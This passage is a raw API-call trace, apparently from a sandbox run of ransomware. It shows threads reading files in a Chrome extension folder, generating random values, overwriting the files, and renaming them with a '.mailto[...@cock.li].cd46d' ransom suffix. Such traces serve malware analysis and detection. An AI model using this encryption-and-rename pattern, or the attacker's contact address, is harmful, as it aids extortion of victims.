RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945780) returned 1 [0174.620] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0174.620] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd498048) returned 1 [0174.630] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 [0174.630] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0174.630] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x25) returned 0x8d8868 [0174.630] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.631] WriteFile (in: hFile=0x10b4, lpBuffer=0x12cf5950*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x7d4fc34, lpOverlapped=0x0 | out: lpBuffer=0x12cf5950*, lpNumberOfBytesWritten=0x7d4fc34*=0x109, lpOverlapped=0x0) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5950) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945780) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945758) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a30) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9968) returned 1 [0174.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9940) returned 1 [0174.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x174) returned 0x91c620 [0174.728] wcscpy (in: _Dest=0x91c620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" [0174.728] wcscat (in: _Dest=0x91c620, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.mailto[2Hamlampampom@cock.li].cd46d" [0174.728] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7d4fbec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0174.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18a) returned 0x8f69b0 Thread: id = 6395 os_tid = 0xa74 [0171.863] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png")) returned 0x2020 [0174.574] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", dwFileAttributes=0x20) returned 1 [0175.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x618 [0175.163] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x380f760 | out: lpFileSize=0x380f760*=556) returned 1 [0175.163] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.163] ReadFile (in: hFile=0x618, lpBuffer=0x380f6e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x380f6e0, lpOverlapped=0x0 | out: lpBuffer=0x380f6e4*, lpNumberOfBytesRead=0x380f6e0*=0x4, lpOverlapped=0x0) returned 1 [0175.164] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0175.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e298 [0175.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e400 [0175.164] NtQuerySystemTime (in: CurrentTime=0x380f6c0 | out: CurrentTime=0x380f6c0*=132174899497582000) returned 0x0 [0175.164] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x5e23da34 [0175.164] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x663d9292 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x775109e1 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x7c360bcf [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x4061ba42 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x2d89f210 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x6c3b4244 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x7bafc026 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x55cdfbab [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x4b2149ea [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x64da99aa [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x33d86330 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x5be59492 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x50c29e38 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x777bad42 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x5a873382 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x74a45487 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x34bf798a [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x359a6b06 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x706e3c67 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x579a38c4 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x49a36d7f [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x3985b88e [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x6093dd98 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x988680c [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x365043a8 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x1d5e3f75 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x20719d24 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x70a31b76 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x24aa8023 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x7962ccb7 [0175.165] RtlRandomEx (in: Seed=0x380f6cc | out: Seed=0x380f6cc) returned 0x32d69972 [0175.180] ReadFile (hFile=0x618, lpBuffer=0x12d92910, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x380f6bc, lpOverlapped=0x0) [0175.180] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.180] WriteFile (in: hFile=0x618, lpBuffer=0x12c77bd0*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x380f6b8, lpOverlapped=0x0 | out: lpBuffer=0x12c77bd0*, lpNumberOfBytesWritten=0x380f6b8*=0x22c, lpOverlapped=0x0) returned 1 [0175.484] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0175.484] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cd8 [0175.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0175.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77bd0) returned 1 [0175.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0175.501] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9430) returned 1 [0175.501] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0175.501] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x23) returned 0x8d8928 [0175.501] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.501] WriteFile (in: hFile=0x618, lpBuffer=0x8f3b38*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x380f720, lpOverlapped=0x0 | out: lpBuffer=0x8f3b38*, lpNumberOfBytesWritten=0x380f720*=0x107, lpOverlapped=0x0) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3b38) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cb0) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e298) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dde8) returned 1 [0176.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de38) returned 1 [0176.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x172) returned 0x91c620 [0176.253] wcscpy (in: _Dest=0x91c620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" [0176.253] wcscat (in: _Dest=0x91c620, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.mailto[2Hamlampampom@cock.li].cd46d" [0176.253] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x380f6d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0176.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x188) returned 0x91c7a0 Thread: id = 6396 os_tid = 0xf30 [0171.864] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png")) returned 0x2020 [0174.935] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", dwFileAttributes=0x20) returned 1 [0176.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x19f8 [0176.191] GetFileSizeEx (in: hFile=0x19f8, lpFileSize=0x6fafac8 | out: lpFileSize=0x6fafac8*=160) returned 1 [0176.191] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945938 [0176.191] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945bb8 [0176.191] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945be0 [0176.191] NtQuerySystemTime (in: CurrentTime=0x6fafa28 | out: CurrentTime=0x6fafa28*=132174899507878000) returned 0x0 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6f49d643 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x17ae57d [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x5fc14b0b [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x2687d41e [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x45f6aa71 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x18b28941 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x4a7315a2 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x2978ecde [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x558809b1 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0xe96f49d [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x139f3c11 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x5b3b0975 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x2b881913 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x4ca58751 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x9e2c3d [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x295227cb [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6c9fea47 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x43e87a55 [0176.191] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x681e1357 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x7697e154 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6a01c304 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6ce935b8 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x4bfa6150 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x162190e2 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6d5d3d6d [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6c02fd48 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x25d79c57 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x5817d646 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x4890d03f [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x6e31ff64 [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x64ee833e [0176.192] RtlRandomEx (in: Seed=0x6fafa34 | out: Seed=0x6fafa34) returned 0x725df414 [0176.205] ReadFile (hFile=0x19f8, lpBuffer=0x12c77bd0, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x6fafa24, lpOverlapped=0x0) [0176.206] SetFilePointerEx (in: hFile=0x19f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.206] WriteFile (in: hFile=0x19f8, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x6fafa20, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x6fafa20*=0xa0, lpOverlapped=0x0) returned 1 [0176.237] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e97b0 [0176.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9760 [0176.238] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9760) returned 1 [0176.238] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0176.243] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77bd0) returned 1 [0176.245] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0176.245] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0176.245] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x41) returned 0x8febe8 [0176.245] SetFilePointerEx (in: hFile=0x19f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.245] WriteFile (in: hFile=0x19f8, lpBuffer=0x99ce40*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x6fafa88, lpOverlapped=0x0 | out: lpBuffer=0x99ce40*, lpNumberOfBytesWritten=0x6fafa88*=0x125, lpOverlapped=0x0) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99ce40) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fec38) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9760) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8febe8) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e97b0) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945bb8) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0176.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945758) returned 1 [0176.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x909f40 [0176.259] wcscpy (in: _Dest=0x909f40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" [0176.259] wcscat (in: _Dest=0x909f40, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.mailto[2Hamlampampom@cock.li].cd46d" [0176.259] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6fafa40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0176.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a6) returned 0x909700 Thread: id = 6397 os_tid = 0x1cb0 [0171.864] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png")) returned 0x2020 [0174.935] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", dwFileAttributes=0x20) returned 1 [0177.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1264 [0177.048] GetFileSizeEx (in: hFile=0x1264, lpFileSize=0x5b5fe10 | out: lpFileSize=0x5b5fe10*=252) returned 1 [0177.048] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.048] ReadFile (in: hFile=0x1264, lpBuffer=0x5b5fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5b5fd90, lpOverlapped=0x0 | out: lpBuffer=0x5b5fd94*, lpNumberOfBytesRead=0x5b5fd90*=0x4, lpOverlapped=0x0) returned 1 [0177.049] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee20 [0177.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af488 [0177.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0177.049] NtQuerySystemTime (in: CurrentTime=0x5b5fd70 | out: CurrentTime=0x5b5fd70*=132174899516458000) returned 0x0 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x48fef770 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 